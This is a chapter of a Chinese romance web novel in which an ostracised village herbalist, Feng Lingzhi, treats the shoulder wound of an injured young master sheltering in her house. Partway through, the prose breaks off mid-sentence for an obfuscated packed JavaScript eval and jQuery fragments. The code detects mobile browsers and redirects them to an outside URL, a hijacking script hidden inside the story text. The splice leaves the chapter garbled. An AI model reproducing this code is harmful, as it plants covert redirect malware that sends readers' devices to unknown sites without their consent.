冯灵芝今日回来得晚。
不是山上挖着了什么好东西，是她不想打村口过。
那棵老槐树下，几个婆子照例坐在那儿纳鞋底。隔着老远，那闲话就顺着风飘过来了——
“就那个，冯家那丫头。”
“克完了爹娘，又把奶奶克走了。啧啧，命硬着呢。”
“也怪不得拖到桃李年华还没人上门，谁家敢要啊？娶回去克自个儿？”
“可不是嘛，我上回见她，都绕着走，沾上晦气可不得了……”
声音不大不小，刚好够她听见。
冯灵芝低着头，走得很快。她从小就学会了贴着墙根走路，像一只躲着人的野猫，尽量不发出声响，尽量不让人看见。可那些话还是追着她，一句一句往耳朵里钻。
她想跑，又不敢跑。跑了，她们更要说。
好不容易拐过那道弯，把那棵老槐树甩在身后，她才敢喘口气。
推开自家那扇歪斜的木门时，天都快黑了。她还在想明日去镇上卖夏枯草的事，药铺掌柜人好，每回都收她的，虽然价钱压得低些……
然后她看见了地上的血。
一滴两滴，从院门口一路滴到屋里，暗红色的，还没干透。
冯灵芝脑子里“嗡”的一声，竹篓还背在身上，手攥着门框，攥得指节发白。
她就那么站着，站了好一会儿，才想起来害怕。
不是怕坏人，是怕——又来了。她命硬，只要有人沾上她，就要倒霉。这回不知道是谁，进了她的屋子，沾了她的东西，会不会也……
“姑娘。”
屋里突然走出一个人。
冯灵芝吓得心口一紧，往后一退，险些被门槛绊倒。等站稳了，才看清来人三十来岁的年纪，身材魁梧，一张方脸晒得黝黑，腰间挎着刀，往那儿一站，跟半截铁塔似的。
那人见她这副模样，愣了一愣，像是反应过来什么，往后退了一步，把腰间的刀往身后挪了挪，声音也放低了些：
“姑娘别怕。我家少爷在山上打猎受了伤，来不及下山，只能就近寻到此处。借姑娘的地方暂歇，已让人去请郎中了。冒昧之处，还请见谅。”
他说着，从怀里掏出一样东西，白花花的，是银子。
冯灵芝没敢看，也没敢接。她低着头，盯着自己的鞋尖——这双鞋是奶奶死那年做的，她缝了又缝，补了又补，穿了三年，没舍得扔。
“不、不用……”她听见自己的声音，小得像蚊子哼，“你们用就是……我、我出去。”
她说着就往后退。
退得太急，竹篓晃了一下，里头几株干草药掉出来，落在地上。
那壮汉弯腰捡起来，看了一眼，又抬头看她。
“姑娘采的？”
冯灵芝点点头，不敢吭声。
他把草药递还给她，目光在她那竹篓里扫过——里头除了几株夏枯草，还有黄芪和白及，都是止血消炎的东西。
“姑娘懂医术？”他问，语气平和。
冯灵芝连忙摆手：“不、不算懂，就是自己看点小病小灾，粗浅的——”
她话没说完，里头忽然传来一声闷哼。
是受伤的人醒了，疼的。
那壮汉眉头一皱，却没有立刻进去，而是看了她一眼，又看了一眼她篓里的草药，沉默片刻，才开口：
“姑娘，郎中来还得有好一会儿。我家少爷伤在肩上，血流不止，我怕……耽误了。姑娘既然懂些药理，可否劳烦先帮忙看看？只求止个血，旁的等郎中来。”
冯灵芝攥着竹篓的带子，攥得手指发白。
她不敢。
她这点本事，治个头疼脑热、破皮流血还凑合，可那人伤成那样——万一治坏了，万一出了差错，万一她动了手，那人沾了她的晦气，伤得更重怎么办？
“姑娘。”那壮汉又开口，声音沉稳，可眼里多了几分恳切，“我知道是为难姑娘。只是我跟了我家少爷多年，头一回见他伤成这样。姑娘若能帮忙，无论成与不成，我都记姑娘这份情。”
他顿了顿，又说：“若真出了什么差错，也绝不怪姑娘。姑娘只管放手做。”
冯灵芝抬起头，飞快地看了他一眼。
那壮汉站在那儿，没有催，只是看着她，等着。
冯灵芝咬着嘴唇，攥着竹篓的带子，攥了许久。
里头又传来一声闷哼，比刚才更弱了些。
她不知道自己为什么最后点了头。只是等她回过神来的时候，她已经放下竹篓，低着头，跟着那壮汉往里走了。
那是她奶奶留给她的屋子，她不能让生人单独待着——她这样告诉自己。
屋里光线暗，她站在门边，过了好一会儿才看清床上那个人。
那人闭着眼，脸上白得像纸，眉头紧锁，肩头的伤用布条胡乱缠着，血还是渗了出来，浸湿了半边衣裳。可即便这样，那眉眼、那鼻梁、那轮廓，还是好得不像真的。
冯灵芝从没见过这样的人。
村里人她见得多了，晒得黑黢黢的，手掌粗剌剌的，说话嗓门大得能震落房顶的灰。可这个人——像画本子里走出来的，像和她不是一个世道的。
她愣愣地站着，手脚都不知道往哪儿放。
那壮汉已经快步走到床边，弯下腰，轻声说：“少爷，这屋子的主人回来了，懂些医术，让她先帮您看看伤口？”
床上那人动了动，睁开眼。
那双眼睛带着烧糊涂了的迷蒙，却亮得惊人，像是烧着火。他看了一眼那壮汉，又顺着他的目光，看向门边站着的冯灵芝。
冯灵芝被他这么一看，整个人都僵了。
那人看了她一会儿，忽然扯了扯嘴角，声音沙哑得厉害，却带着点懒洋洋的调子：
“长得挺顺眼。行，就她吧。”
那壮汉面不改色，像是早就习惯了，只直起身，对冯灵芝做了个请的手势：“姑娘，劳烦了。”
冯灵芝站在原地，耳朵根子烧得厉害。
什么叫……长得挺顺眼？
她低着头走过去，眼睛不知道该往哪儿放。走到床边，站定，深吸一口气，才伸出手，把那人肩上胡乱缠着的布条轻轻揭开。
布条被血浸透了，粘在肉上。她揭得小心，可还是听见那人嘶了一声。
冯灵芝的手一哆嗦，下意识抬头。
那人正看着她，眉头皱着，可眼里却没有责怪的意思，反倒像是觉得有意思似的：“手抖成这样，到底会不会？”
冯灵芝脸一红，赶紧低下头。
“少爷。”那壮汉在旁边无奈地叫了一声。
那人“嗤”地笑了一下，没再说话。
冯灵芝咬着嘴唇，把布条全揭下来，看清了那个伤口——是被什么利器划的，口子不长，但深，皮肉都翻着，血还在慢慢往外渗。
她的手又开始抖。
不是怕血。她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391770|200314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见过血，自己上山砍柴也伤过手。她是怕——怕弄疼他，怕自己手重，怕万一做错了什么……
“抖什么……”那人又开口了，声音低下去，像是没力气了，又像是在嘟囔，“我又没嫌你。”
冯灵芝愣住了。
她抬起头，飞快地看了他一眼。
那人没看她，闭着眼睛靠在枕头上，脸上还是白得吓人。她忽然想，他要是知道她是谁，知道村里人怎么说她的，大概就不会说这种话了。
她低下头，拧了帕子，把伤口周围的血迹一点一点擦干净。
这回手稳了些。
擦干净了，她想起自己的药箱还在墙角。她转身去把那口破木箱抱过来，蹲在地上翻药。里头几样东西她闭着眼都能摸着：止血的白药，是她用山上挖的白及晒干了磨的；退热的柴胡，也是自己采自己晾的；还有一瓶金疮药，是去年冬天救了一个摔伤的行脚商人，那人谢她的，她一直没舍得用。
她把那瓶金疮药拿出来，走回床边。
那人不知什么时候又睁开了眼，正看着她那口破木箱，看了一会儿，又看她的脸。
“就这些？”他问。
冯灵芝点点头，声音小得几乎听不见：“就……就这些。”
那人“嗯”了一声，没再说话。
冯灵芝打开那瓶金疮药，一点一点往伤口上撒。药粉是淡黄色的，撒在翻着的皮肉上，她看着都觉得疼，可那人愣是没吭一声。
只是在她撒到最后的时候，他肩头的肌肉绷紧了一瞬。
冯灵芝的手停了停，轻声说：“快好了。”
她把伤口用干净的布条重新缠好，打了个结，才敢长长地吐出一口气。
“止住血了。”她说，还是低着头，“等郎中来再给好好瞧瞧……”
她说着就要站起来。
手腕忽然被人握住了。
冯灵芝浑身一僵。
那人握着她的手腕，力道不大，却让她动弹不得。她低着头，盯着他那只手——手指修长，指节分明，骨节处蹭破了一点皮，应该是受伤时弄的。那手和她见过的所有手都不一样。
“叫什么？”那人问。
冯灵芝张了张嘴，喉咙像被什么堵住了。
“少爷。”那壮汉在旁边轻声提醒，像是怕他吓着人家姑娘。
那人没理他，只看着冯灵芝，等着。
冯灵芝低着头，盯着他的手指，过了好一会儿，才挤出一个字：“……冯。”
“冯什么？”
“……灵芝。”
那人松开手。
冯灵芝赶紧站起来，退后两步，退到墙根底下才站住。
她低着头，盯着自己的鞋尖，耳朵根子烧得厉害，心跳得咚、咚、咚的，一下一下撞在耳朵里。
“灵芝。”那人把这名字念了一遍，像是含在嘴里嚼了嚼，然后扯着嘴角笑了一下，“行，记住了。”
那壮汉走过来，压低声音对她说：“姑娘别见怪，我家少爷就是这性子，没恶意的。今日多谢姑娘了。”
冯灵芝摇摇头，没吭声。
她站在那里，看着床上那人又闭上了眼睛，脸上还是白得没有血色，可嘴角那点弧度还在，像是做了什么好梦似的。
她在墙根底下又站了一会儿，然后抬手，轻轻摸了摸自己的手腕。
那点温度，好像还留在那儿。
她想，这人大概只是伤糊涂了。